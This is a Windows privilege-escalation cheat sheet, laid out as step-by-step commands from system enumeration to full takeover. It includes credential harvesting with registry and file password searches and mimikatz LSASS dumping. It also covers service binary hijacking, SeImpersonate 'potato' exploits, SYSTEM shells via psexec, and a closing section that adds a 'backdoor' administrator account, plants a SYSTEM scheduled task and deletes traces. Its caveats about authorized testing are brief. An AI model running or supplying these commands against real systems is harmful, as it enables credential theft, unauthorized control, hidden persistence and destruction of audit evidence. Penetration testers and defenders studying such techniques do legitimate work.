Methods for Elevating Privileges on Windows

Instructions: Execute the commands one by one and record the output to analyze the path of privilege escalation. If additional tools (such as PowerUp.ps1) are needed, they can be loaded and executed in PowerShell. It is recommended to perform these operations in a test environment to avoid risks to the production system.

🧭 Step 1: Information Gathering

whoami → Displays the current username and privilege level. whoami /priv → Lists the privileges of the current user (e.g., SeImpersonatePrivilege). hostname → Retrieves the hostname to identify the target system. systeminfo → Displays the operating system version, patches, and architecture. wmic qfe get Caption,Description,HotFixID,InstalledOn → Enumerates installed patches to look for unpatched CVE (Common Vulnerabilities and Exposures). set → Prints environment variables (e.g., TEMP, PATH, USERNAME, etc.). echo %USERNAME% && echo %USERDOMAIN% → Displays the current user and domain information. net users → Lists local user accounts. net localgroup administrators → Lists members of the local administrators group. ipconfig /all → Displays network interface, DNS, and gateway information. route print → Displays the route table to identify potential jump servers/IP ranges. netstat -ano → Displays listening ports and their corresponding PID (Process IDs). tasklist /svc → Lists running processes and their service associations. wmic service list brief → Quickly enumerates service status and startup accounts. reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run → Searches for auto-start items and exploitable paths at startup.

⚙️ Step 2: Credential Harvesting

cmdkey /list → Displays the credentials saved by the system. runas /savecred /user:Administrator cmd.exe → Tests whether saved credentials can be exploited (if any). type %APPDATA%\\Microsoft\\Credentials\\* → Checks for possible credential storage files. findstr /si password *.txt *.ini *.config → Searches for plain-text passwords in files. reg query HKLM /f password /t REG_SZ /s → Searches for plain-text password fields in the registry. mimikatz.exe (sekurlsa::logonpasswords) → Extracts plain-text passwords, hashes, and tickets from LSASS (only within authorized scope).

🧱 Step 3: Service Misconfiguration

sc qc <service_name> → Displays the service binary path, startup account, and configuration. icacls "C:\\path\\to\\service.exe" → Checks the file permissions of the service executable file. sc config <service_name> binPath= "C:\\evil.exe" → Modifies the service execution path (requires privileges, often used for persistence). accesschk.exe -uws "Everyone" "C:\\Program Files\\..." → Checks the writable permissions of directories and service folders. wmic service get name,startname,pathname → Lists services along with their startup accounts and paths in bulk.

🧩 Step 4: Autoruns and Scheduled Tasks

schtasks /query /fo LIST /v → Enumerates scheduled tasks and their associated commands. icacls "C:\\path\\to\\task.exe" → Checks the modifiability of programs called by scheduled tasks. reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run → Lists user-level auto-start items. wmic startup get caption,command → Displays auto-start items and their corresponding commands.

🧨 V. Privilege Escalation Primitives

whoami /priv → Verify the presence of high-risk privileges such as SeImpersonate and SeAssignPrimaryToken.

PrintSpoofer.exe -i -c cmd → Attempt privilege escalation using SeImpersonatePrivilege (if available).

JuicyPotato.exe -t * -p cmd.exe -l 1337 → Privilege escalation via RPC/COM (for older systems or improper configurations).

GodPotato.exe -cmd "cmd.exe" → Privilege escalation attempt available on newer systems (depending on the environment).

🧰 VI. Software Exploitation

wmic product get name,version → List installed programs and their versions for comparison with vulnerability databases.

dir "C:\\Program Files" → Manually identify potentially insecure third-party software.

findstr /si "install" *.log *.txt → Search installation logs for leaked credentials or path information.

Use CVE/ExploitDB/vendor announcements to match versions with vulnerabilities → Convert known vulnerabilities into executable exploits.

🗝️ VII. Registry Abuse

reg query HKLM\\System\\CurrentControlSet\\Services → Identify registry entries of services that can be modified.

icacls C:\\Windows\\System32 → Check for abnormal permissions in critical system directories.

reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System → Verify UAC (User Account Control) and policy configurations.

reg query HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon → Check auto-logon settings such as AutoAdminLogon.

🕵️ VIII. Token & Process Hijacking

whoami /groups → View the user’s groups and available tokens.

tasklist /fi "username eq SYSTEM" → Search for SYSTEM-level processes to assess token theft opportunities.

psexec.exe -s cmd.exe → Execute commands locally with SYSTEM privileges using PsTools (requires execution permission).

Use Process Explorer for visual analysis of tokens and handles → Identify process tokens that can be exploited.

🧿 IX. Automation Tools for Privilege Escalation

winPEASx64.exe → Automate the detection of potential privilege escalation vectors and misconfigurations.

Seatbelt.exe → Quickly collect system security and configuration information.

PowerUp.ps1 → PowerShell script for privilege escalation checks.

SharpUp.exe → C#-based privilege escalation tool, suitable for red teams and internal networks.

`PrivescCheck.ps1** — Comprehensive PowerShell-based privilege escalation scan.

🔥 X. Persistence & Cleanup

net user backdoor P@ssw0rd /add → Create a backup user (consider compliance and authorization).

net localgroup administrators backdoor /add → Add the backdoor user to the administrators group.

schtasks /create /tn "UpdateCheck" /tr "cmd.exe /c whoami > C:\\proof.txt" /sc onlogon /ru SYSTEM → Create a persistent scheduled task with SYSTEM privileges.

del /f /q C:\\Windows\\Temp\\* Clean up traces (operate with caution and log audit activities).